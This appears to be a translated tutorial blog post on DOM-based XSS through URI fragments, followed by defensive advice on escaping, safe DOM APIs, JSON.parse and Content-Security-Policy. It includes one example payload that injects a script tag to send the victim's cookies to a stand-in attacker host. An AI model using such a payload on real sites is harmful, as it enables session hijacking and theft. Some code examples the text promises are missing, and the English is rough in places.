Introduce

Some types of xss attacks do not require server vulnerabilities. If your site uses URI fragments , you need to make sure they cannot be abused to inject JavaScript code. Not too long, I will demo it too.

How it works

As JS frameworks become tighter, many developers are pushing logic towards the client, which is equivalent to knowing how to combat vulnerabilities in the browser. Web applications often use the URI as part of the URL behind the # . It is a handy way to save the location the user is viewing on the page, save browsing history, but do not need to take a few turns to the server )

URI fragments do not send with HTTP requests, so they need to be interpreted with client-side JS. You should be careful that handling URI does not allow malicious JavaScript injections. Let’s see how a site is vulnerable to DOM-BASED XSS

For example, the website has infinite scroll : the content loads dynamically when the page is scrolled down. If the user is redirected to another site, and when the back button is pressed, the site can reload the last content they viewed. However, there is a flaw when using this method. The site updates the number of pages that redirect from the URI fragments , and doesn’t check the content:

This means that an attacker can build a URL with malicious Js code in the URI , and when someone is tricked into accessing that URL , the JS will be executed on their browser. For example, with the path www.chinterest.com#<script>window.location="http://www.haxxed.com?cookie="+document.cookie</script> is converted to haxxed.com?cookie=asFFEfn222fefeknladas .

Kay kay, you can see it is dangerous, right?

Risky

XSS is one of the most common ways hackers use to attack. The XSS vulnerability allows malicious code to be executed arbitrarily when the victim visits your site.

In general, this error is quite rare, easy to exploit, and also very dangerous. Any page that uses URIs is at risk of XSS attacks.

Protect

Using Javascript framework

Frameworks such as AngularJS and React using templates for building ad-hoc HTML become an easy action. It will push our dev team towards best practices, and make unsafe activities more discoverable.

In React , any dynamic content known in braces will automatically be escaped , so it will become as safe as the following code:

React also allows you to show raw html by bingding content into the dangerouslySetInnerHTML property, which is named as a reminder of the risk of use. Here is the example code

Check your code carefully

Sometimes Js framework is too heavy for your website. In this case, you will need to regularly review the code to reference the places that use window.location.hash . Consider setting standards for URI usage and concentrating this logic in the core of the library.

For example, JQuery , carefully check where the html() function is used and replace it with text() whenever possible because printing raw html will be very dangerous.

If you use nateive DOM APIs, avoid the following attributes and functions:

• innerHTML
• outerHTML
• document.write

Instead, put the content inside the tag whenever possible:

• innerText
• textContent

Parse JSON carefully

For example, instead of using evel(...) , we will use JSON.parse(...) .

Detecting unsafe code by using development Tools

Google has released the Chrome plug-in that is recognizable, but the common code that is found on the client side is common.

Implement a Content-Security Policy

By setting the cntent security policy in the response header , you can tell the browser that it is not allowed to execute inline JS code, and lock which domains can host JS for the page.

Or put in the <meta> tag

By adding report-uri in the policy header, the browser will alert you to any policy violations instead of preventing inline JS from executing:

And finally: Don’t Use URI Fragments At All!

summary

The above is knowledge of DOM-BASED XSS , hope to be helpful for you. Happy coding!